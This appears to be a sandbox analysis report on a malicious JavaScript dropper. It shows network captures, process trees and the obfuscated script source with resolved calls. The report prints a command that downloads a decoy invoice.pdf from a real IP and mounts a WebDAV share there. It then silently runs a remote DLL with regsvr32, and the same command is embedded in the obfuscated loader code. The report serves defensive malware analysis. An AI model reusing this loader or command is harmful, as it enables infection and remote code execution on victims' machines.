Jan 10, 2025 22:13:33.016864061 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:13:33.016928911 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 22:13:33.016940117 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 22:13:33.016952038 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 22:13:33.016963005 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 22:13:33.016974926 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 22:13:33.016988039 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 22:13:33.021851063 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	193.143.1.205	8888	7808	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:13:35.404622078 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:13:36.230597973 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:13:28
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js"
Imagebase:	0x7ff68d5e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:13:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Imagebase:	0x7ff608a40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:13:29
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:13:29
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:13:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:13:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff608a40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:13:34
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff783ca0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:13:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:13:35
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:13:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,12957217862014294960,14923881785246342503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hqnossw() {	hqnossw() ➔ undefined
1	iadqhp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bepaskeev = this[moyqh + cjbgxnu + rjupcmb + lccmvhqsb + tpohpe + rfptnhcd + qxuvc + hkzezb] ( this[kgonmk + knwdeo + facvjwq + rjupcmb + ehsefgza + moyqh + hkzezb][khfxbgng + rjupcmb + tpohpe + cjbgxnu + hkzezb + tpohpe + iksnlk + hcvzaovi + uuglaw + tpohpe + facvjwq + hkzezb] ( kgonmk + knwdeo + facvjwq + rjupcmb + ehsefgza + moyqh + hkzezb + slrtfo + knwdeo + pnnljrzv + tpohpe + adoptzdy + adoptzdy ) [aielndn + tpohpe + ecwtsd + aielndn + tpohpe + cjbgxnu + sgmejnhnm] ( thmzkge + kacoecqpx + rynqjov + gbskke + pdicpf + khfxbgng + pttirbm + aielndn + aielndn + rynqjov + mttda + tovlkcoem + pdicpf + pttirbm + knwdeo + rynqjov + aielndn + uzekdsbl + khfxbgng + rskjlrpu + qxuvc + hkzezb + rjupcmb + rskjlrpu + adoptzdy + kptoh + qibqfz + cjbgxnu + qxuvc + tpohpe + adoptzdy + uzekdsbl + rfptnhcd + qxuvc + hkzezb + tpohpe + rjupcmb + qxuvc + cjbgxnu + hkzezb + ehsefgza + rskjlrpu + qxuvc + cjbgxnu + adoptzdy + uzekdsbl + plruwkw + rskjlrpu + facvjwq + cjbgxnu + adoptzdy + tpohpe ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xzelwuegv = 0 ; xzelwuegv < iadqhp[adoptzdy + tpohpe + qxuvc + ecwtsd + hkzezb + pnnljrzv] ; ++ xzelwuegv )
4	{
5	if ( bepaskeev == iadqhp[xzelwuegv] )
6	{
7	bepaskeev = true;
8	break ;
9	}
10	}
11	if ( bepaskeev !== true )
12	this[kgonmk + knwdeo + facvjwq + rjupcmb + ehsefgza + moyqh + hkzezb][ejzsutb + yixdxmjkx + ehsefgza + hkzezb] ( );
13	this[kgonmk + knwdeo + facvjwq + rjupcmb + ehsefgza + moyqh + hkzezb][khfxbgng + rjupcmb + tpohpe + cjbgxnu + hkzezb + tpohpe + iksnlk + hcvzaovi + uuglaw + tpohpe + facvjwq + hkzezb] ( kgonmk + knwdeo + facvjwq + rjupcmb + ehsefgza + moyqh + hkzezb + slrtfo + knwdeo + pnnljrzv + tpohpe + adoptzdy + adoptzdy ) [rjupcmb + yixdxmjkx + qxuvc] ( facvjwq + fbssxtba + sgmejnhnm + kptoh + fmdpbele + facvjwq + kptoh + moyqh + rskjlrpu + ygkxaaieb + tpohpe + rjupcmb + lccmvhqsb + pnnljrzv + tpohpe + adoptzdy + adoptzdy + slrtfo + tpohpe + bupneb + tpohpe + kptoh + ylyihnl + khfxbgng + rskjlrpu + fbssxtba + fbssxtba + cjbgxnu + qxuvc + sgmejnhnm + kptoh + jboxthbng + rfptnhcd + qxuvc + wotrboc + rskjlrpu + yhugo + tpohpe + ylyihnl + kgonmk + tpohpe + hcvzaovi + aielndn + tpohpe + ouqvptcsh + yixdxmjkx + tpohpe + lccmvhqsb + hkzezb + kptoh + ylyihnl + iksnlk + yixdxmjkx + hkzezb + mcbrpi + ehsefgza + adoptzdy + tpohpe + kptoh + zyfshwpzh + hkzezb + tpohpe + fbssxtba + moyqh + zyfshwpzh + uzekdsbl + ehsefgza + qxuvc + wotrboc + rskjlrpu + ehsefgza + facvjwq + tpohpe + slrtfo + moyqh + sgmejnhnm + kxgzamt + kptoh + pnnljrzv + hkzezb + hkzezb + moyqh + behwlmjv + fmdpbele + fmdpbele + qoqpczid + caseyjrm + lwmdk + slrtfo + qoqpczid + otfgav + lwmdk + slrtfo + qoqpczid + slrtfo + fohyxhol + jptqch + clbfmf + fmdpbele + ehsefgza + qxuvc + wotrboc + rskjlrpu + ehsefgza + facvjwq + tpohpe + slrtfo + moyqh + pnnljrzv + moyqh + jboxthbng + wurzo + wurzo + lccmvhqsb + hkzezb + cjbgxnu + rjupcmb + hkzezb + kptoh + zyfshwpzh + hkzezb + tpohpe + fbssxtba + moyqh + zyfshwpzh + uzekdsbl + ehsefgza + qxuvc + wotrboc + rskjlrpu + ehsefgza + facvjwq + tpohpe + slrtfo + moyqh + sgmejnhnm + kxgzamt + wurzo + wurzo + facvjwq + fbssxtba + sgmejnhnm + kptoh + fmdpbele + facvjwq + kptoh + qxuvc + tpohpe + hkzezb + kptoh + yixdxmjkx + lccmvhqsb + tpohpe + kptoh + uzekdsbl + uzekdsbl + qoqpczid + caseyjrm + lwmdk + slrtfo + qoqpczid + otfgav + lwmdk + slrtfo + qoqpczid + slrtfo + fohyxhol + jptqch + clbfmf + vhwmoixo + uiqzuxrt + uiqzuxrt + uiqzuxrt + uiqzuxrt + uzekdsbl + sgmejnhnm + cjbgxnu + wotrboc + ygkxaaieb + ygkxaaieb + ygkxaaieb + rjupcmb + rskjlrpu + rskjlrpu + hkzezb + uzekdsbl + wurzo + wurzo + facvjwq + fbssxtba + sgmejnhnm + kptoh + fmdpbele + facvjwq + kptoh + rjupcmb + tpohpe + ecwtsd + lccmvhqsb + wotrboc + rjupcmb + lwmdk + fohyxhol + kptoh + fmdpbele + lccmvhqsb + kptoh + uzekdsbl + uzekdsbl + qoqpczid + caseyjrm + lwmdk + slrtfo + qoqpczid + otfgav + lwmdk + slrtfo + qoqpczid + slrtfo + fohyxhol + jptqch + clbfmf + vhwmoixo + uiqzuxrt + uiqzuxrt + uiqzuxrt + uiqzuxrt + uzekdsbl + sgmejnhnm + cjbgxnu + wotrboc + ygkxaaieb + ygkxaaieb + ygkxaaieb + rjupcmb + rskjlrpu + rskjlrpu + hkzezb + uzekdsbl + qoqpczid + euqsggi + jptqch + soeaq + qoqpczid + fohyxhol + qoqpczid + euqsggi + soeaq + euqsggi + qoqpczid + euqsggi + euqsggi + fohyxhol + caseyjrm + slrtfo + sgmejnhnm + adoptzdy + adoptzdy, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll",0,false) ➔ 0
14	}
15	jptqch = "C";
16	jptqch = "M";
17	jptqch = "u";
18	jptqch = "u";
19	jptqch = "S";
20	jptqch = "A";
21	jptqch = "Y";
22	jptqch = "c";
23	jptqch = "N";
24	jptqch = "t";
25	jptqch = "X";
26	jptqch = "g";
27	jptqch = "Z";
28	jptqch = "Z";
29	jptqch = "k";
30	jptqch = "V";
31	jptqch = "h";
32	jptqch = "t";
33	jptqch = "O";
34	jptqch = "S";
35	jptqch = "q";
36	jptqch = "V";
37	jptqch = "D";
38	jptqch = "W";
39	jptqch = "0";
40	sgmejnhnm = "K";
41	sgmejnhnm = "X";
42	sgmejnhnm = "p";
43	sgmejnhnm = "c";
44	sgmejnhnm = "y";
45	sgmejnhnm = "i";
46	sgmejnhnm = "J";
47	sgmejnhnm = "u";
48	sgmejnhnm = "Y";
49	sgmejnhnm = "l";
50	sgmejnhnm = "n";
51	sgmejnhnm = "I";
52	sgmejnhnm = "l";
53	sgmejnhnm = "A";
54	sgmejnhnm = "y";
55	sgmejnhnm = "w";
56	sgmejnhnm = "C";
57	sgmejnhnm = "Q";
58	sgmejnhnm = "J";
59	sgmejnhnm = "n";
60	sgmejnhnm = "Q";
61	sgmejnhnm = "r";
62	sgmejnhnm = "W";
63	sgmejnhnm = "p";
64	sgmejnhnm = "b";
65	sgmejnhnm = "L";
66	sgmejnhnm = "L";
67	sgmejnhnm = "D";
68	sgmejnhnm = "q";
69	sgmejnhnm = "Z";
70	sgmejnhnm = "y";
71	sgmejnhnm = "Z";
72	sgmejnhnm = "G";
73	sgmejnhnm = "d";
74	moyqh = "I";
75	moyqh = "c";
76	moyqh = "Q";
77	moyqh = "t";
78	moyqh = "o";
79	moyqh = "c";
80	moyqh = "t";
81	moyqh = "U";
82	moyqh = "u";
83	moyqh = "k";
84	moyqh = "s";
85	moyqh = "H";
86	moyqh = "g";
87	moyqh = "A";
88	moyqh = "S";
89	moyqh = "i";
90	moyqh = "T";
91	moyqh = "d";
92	moyqh = "v";
93	moyqh = "S";
94	moyqh = "i";
95	moyqh = "w";
96	moyqh = "h";
97	moyqh = "f";
98	moyqh = "b";
99	moyqh = "z";
100	moyqh = "v";
101	moyqh = "m";
102	moyqh = "E";
103	moyqh = "B";
104	moyqh = "n";
105	moyqh = "p";
106	tovlkcoem = "J";
107	tovlkcoem = "i";
108	tovlkcoem = "n";
109	tovlkcoem = "L";
110	tovlkcoem = "C";
111	tovlkcoem = "a";
112	tovlkcoem = "Z";
113	tovlkcoem = "U";
114	tovlkcoem = "G";
115	tovlkcoem = "n";
116	tovlkcoem = "T";
117	tovlkcoem = "Y";
118	tovlkcoem = "C";
119	tovlkcoem = "W";
120	tovlkcoem = "l";
121	tovlkcoem = "M";
122	tovlkcoem = "B";
123	tovlkcoem = "L";
124	tovlkcoem = "a";
125	tovlkcoem = "n";
126	tovlkcoem = "v";
127	tovlkcoem = "t";
128	tovlkcoem = "R";
129	tovlkcoem = "x";
130	tovlkcoem = "U";
131	tovlkcoem = "T";
132	pttirbm = "I";
133	pttirbm = "E";
134	pttirbm = "M";
135	pttirbm = "w";
136	pttirbm = "i";
137	pttirbm = "N";
138	pttirbm = "U";
139	iksnlk = "B";
140	iksnlk = "O";
141	zyfshwpzh = "H";
142	zyfshwpzh = "Z";
143	zyfshwpzh = "H";
144	zyfshwpzh = "H";
145	zyfshwpzh = "q";
146	zyfshwpzh = "D";
147	zyfshwpzh = "k";
148	zyfshwpzh = "r";
149	zyfshwpzh = "l";
150	zyfshwpzh = "M";
151	zyfshwpzh = "N";
152	zyfshwpzh = "l";
153	zyfshwpzh = "U";
154	zyfshwpzh = "J";
155	zyfshwpzh = "W";
156	zyfshwpzh = "Y";
157	zyfshwpzh = "J";
158	zyfshwpzh = "S";
159	zyfshwpzh = "D";
160	zyfshwpzh = "i";
161	zyfshwpzh = "W";
162	zyfshwpzh = "I";
163	zyfshwpzh = "j";
164	zyfshwpzh = "E";
165	zyfshwpzh = "e";
166	zyfshwpzh = "E";
167	zyfshwpzh = "H";
168	zyfshwpzh = "S";
169	zyfshwpzh = "M";
170	zyfshwpzh = "g";
171	zyfshwpzh = "C";
172	zyfshwpzh = "%";
173	bupneb = "o";
174	bupneb = "d";
175	bupneb = "o";
176	bupneb = "d";
177	bupneb = "t";
178	bupneb = "z";
179	bupneb = "e";
180	bupneb = "y";
181	bupneb = "v";
182	bupneb = "F";
183	bupneb = "t";
184	bupneb = "m";
185	bupneb = "O";
186	bupneb = "p";
187	bupneb = "Q";
188	bupneb = "g";
189	bupneb = "C";
190	bupneb = "V";
191	bupneb = "Z";
192	bupneb = "R";
193	bupneb = "q";
194	bupneb = "w";
195	bupneb = "i";
196	bupneb = "D";
197	bupneb = "A";
198	bupneb = "b";
199	bupneb = "p";
200	bupneb = "Y";
201	bupneb = "o";
202	bupneb = "G";
203	bupneb = "J";
204	bupneb = "w";
205	bupneb = "W";
206	bupneb = "Y";
207	bupneb = "x";
208	knwdeo = "m";
209	knwdeo = "Q";
210	knwdeo = "j";
211	knwdeo = "v";
212	knwdeo = "o";
213	knwdeo = "h";
214	knwdeo = "z";
215	knwdeo = "v";
216	knwdeo = "F";
217	knwdeo = "S";
218	knwdeo = "Q";
219	knwdeo = "a";
220	knwdeo = "l";
221	knwdeo = "Z";
222	knwdeo = "v";
223	knwdeo = "i";
224	knwdeo = "v";
225	knwdeo = "k";
226	knwdeo = "M";
227	knwdeo = "N";
228	knwdeo = "p";
229	knwdeo = "V";
230	knwdeo = "v";
231	knwdeo = "x";
232	knwdeo = "w";
233	knwdeo = "H";
234	knwdeo = "v";
235	knwdeo = "l";
236	knwdeo = "R";
237	knwdeo = "H";
238	knwdeo = "A";
239	knwdeo = "C";
240	knwdeo = "U";
241	knwdeo = "E";
242	knwdeo = "A";
243	knwdeo = "S";
244	fbssxtba = "M";
245	fbssxtba = "d";
246	fbssxtba = "z";
247	fbssxtba = "m";
248	fbssxtba = "H";
249	fbssxtba = "S";
250	fbssxtba = "e";
251	fbssxtba = "z";
252	fbssxtba = "L";
253	fbssxtba = "C";
254	fbssxtba = "y";
255	fbssxtba = "O";
256	fbssxtba = "S";
257	fbssxtba = "f";
258	fbssxtba = "e";
259	fbssxtba = "Y";
260	fbssxtba = "B";
261	fbssxtba = "V";
262	fbssxtba = "g";
263	fbssxtba = "Q";
264	fbssxtba = "k";
265	fbssxtba = "a";
266	fbssxtba = "B";
267	fbssxtba = "O";
268	fbssxtba = "s";
269	fbssxtba = "l";
270	fbssxtba = "L";
271	fbssxtba = "L";
272	fbssxtba = "K";
273	fbssxtba = "c";
274	fbssxtba = "x";
275	fbssxtba = "O";
276	fbssxtba = "W";
277	fbssxtba = "B";
278	fbssxtba = "k";
279	fbssxtba = "V";
280	fbssxtba = "x";
281	fbssxtba = "m";
282	fbssxtba = "O";
283	fbssxtba = "N";
284	fbssxtba = "m";
285	rskjlrpu = "y";
286	rskjlrpu = "h";
287	rskjlrpu = "o";
288	rskjlrpu = "x";
289	rskjlrpu = "G";
290	rskjlrpu = "T";
291	rskjlrpu = "V";
292	rskjlrpu = "I";
293	rskjlrpu = "n";
294	rskjlrpu = "Z";
295	rskjlrpu = "H";
296	rskjlrpu = "a";
297	rskjlrpu = "J";
298	rskjlrpu = "m";
299	rskjlrpu = "b";
300	rskjlrpu = "e";
301	rskjlrpu = "G";
302	rskjlrpu = "M";
303	rskjlrpu = "T";
304	rskjlrpu = "Y";
305	rskjlrpu = "p";
306	rskjlrpu = "H";
307	rskjlrpu = "k";
308	rskjlrpu = "d";
309	rskjlrpu = "o";
310	rskjlrpu = "R";
311	rskjlrpu = "b";
312	rskjlrpu = "C";
313	rskjlrpu = "Z";
314	rskjlrpu = "o";
315	tpohpe = "W";
316	tpohpe = "s";
317	tpohpe = "x";
318	tpohpe = "b";
319	tpohpe = "M";
320	tpohpe = "n";
321	tpohpe = "D";
322	tpohpe = "b";
323	tpohpe = "s";
324	tpohpe = "E";
325	tpohpe = "O";
326	tpohpe = "T";
327	tpohpe = "X";
328	tpohpe = "J";
329	tpohpe = "h";
330	tpohpe = "I";
331	tpohpe = "C";
332	tpohpe = "D";
333	tpohpe = "r";
334	tpohpe = "H";
335	tpohpe = "T";
336	tpohpe = "w";
337	tpohpe = "B";
338	tpohpe = "L";
339	tpohpe = "i";
340	tpohpe = "X";
341	tpohpe = "V";
342	tpohpe = "r";
343	tpohpe = "e";
344	clbfmf = "a";
345	clbfmf = "q";
346	clbfmf = "r";
347	clbfmf = "I";
348	clbfmf = "P";
349	clbfmf = "I";
350	clbfmf = "q";
351	clbfmf = "p";
352	clbfmf = "B";
353	clbfmf = "x";
354	clbfmf = "m";
355	clbfmf = "h";
356	clbfmf = "I";
357	clbfmf = "x";
358	clbfmf = "b";
359	clbfmf = "i";
360	clbfmf = "G";
361	clbfmf = "m";
362	clbfmf = "v";
363	clbfmf = "a";
364	clbfmf = "H";
365	clbfmf = "R";
366	clbfmf = "T";
367	clbfmf = "L";
368	clbfmf = "a";
369	clbfmf = "w";
370	clbfmf = "t";
371	clbfmf = "p";
372	clbfmf = "K";
373	clbfmf = "z";
374	clbfmf = "P";
375	clbfmf = "Q";
376	clbfmf = "E";
377	clbfmf = "i";
378	clbfmf = "A";
379	clbfmf = "Z";
380	clbfmf = "z";
381	clbfmf = "a";
382	clbfmf = "N";
383	clbfmf = "5";
384	cjbgxnu = "y";
385	cjbgxnu = "Q";
386	cjbgxnu = "I";
387	cjbgxnu = "a";
388	cjbgxnu = "d";
389	cjbgxnu = "n";
390	cjbgxnu = "X";
391	cjbgxnu = "E";
392	cjbgxnu = "b";
393	cjbgxnu = "S";
394	cjbgxnu = "a";
395	cjbgxnu = "R";
396	cjbgxnu = "n";
397	cjbgxnu = "e";
398	cjbgxnu = "M";
399	cjbgxnu = "g";
400	cjbgxnu = "f";
401	cjbgxnu = "J";
402	cjbgxnu = "i";
403	cjbgxnu = "i";
404	cjbgxnu = "m";
405	cjbgxnu = "S";
406	cjbgxnu = "K";
407	cjbgxnu = "B";
408	cjbgxnu = "g";
409	cjbgxnu = "B";
410	cjbgxnu = "M";
411	cjbgxnu = "X";
412	cjbgxnu = "a";
413	wotrboc = "w";
414	wotrboc = "q";
415	wotrboc = "j";
416	wotrboc = "o";
417	wotrboc = "p";
418	wotrboc = "F";
419	wotrboc = "K";
420	wotrboc = "t";
421	wotrboc = "i";
422	wotrboc = "l";
423	wotrboc = "w";
424	wotrboc = "Z";
425	wotrboc = "H";
426	wotrboc = "j";
427	wotrboc = "e";
428	wotrboc = "s";
429	wotrboc = "d";
430	wotrboc = "c";
431	wotrboc = "x";
432	wotrboc = "v";
433	wotrboc = "f";
434	wotrboc = "P";
435	wotrboc = "R";
436	wotrboc = "m";
437	wotrboc = "n";
438	wotrboc = "X";
439	wotrboc = "u";
440	wotrboc = "r";
441	wotrboc = "v";
442	lccmvhqsb = "W";
443	lccmvhqsb = "O";
444	lccmvhqsb = "P";
445	lccmvhqsb = "a";
446	lccmvhqsb = "F";
447	lccmvhqsb = "y";
448	lccmvhqsb = "a";
449	lccmvhqsb = "E";
450	lccmvhqsb = "x";
451	lccmvhqsb = "f";
452	lccmvhqsb = "s";
453	lccmvhqsb = "s";
454	wurzo = "d";
455	wurzo = "t";
456	wurzo = "d";
457	wurzo = "U";
458	wurzo = "E";
459	wurzo = "H";
460	wurzo = "v";
461	wurzo = "C";
462	wurzo = "n";
463	wurzo = "T";
464	wurzo = "L";
465	wurzo = "y";
466	wurzo = "L";
467	wurzo = "E";
468	wurzo = "I";
469	wurzo = "A";
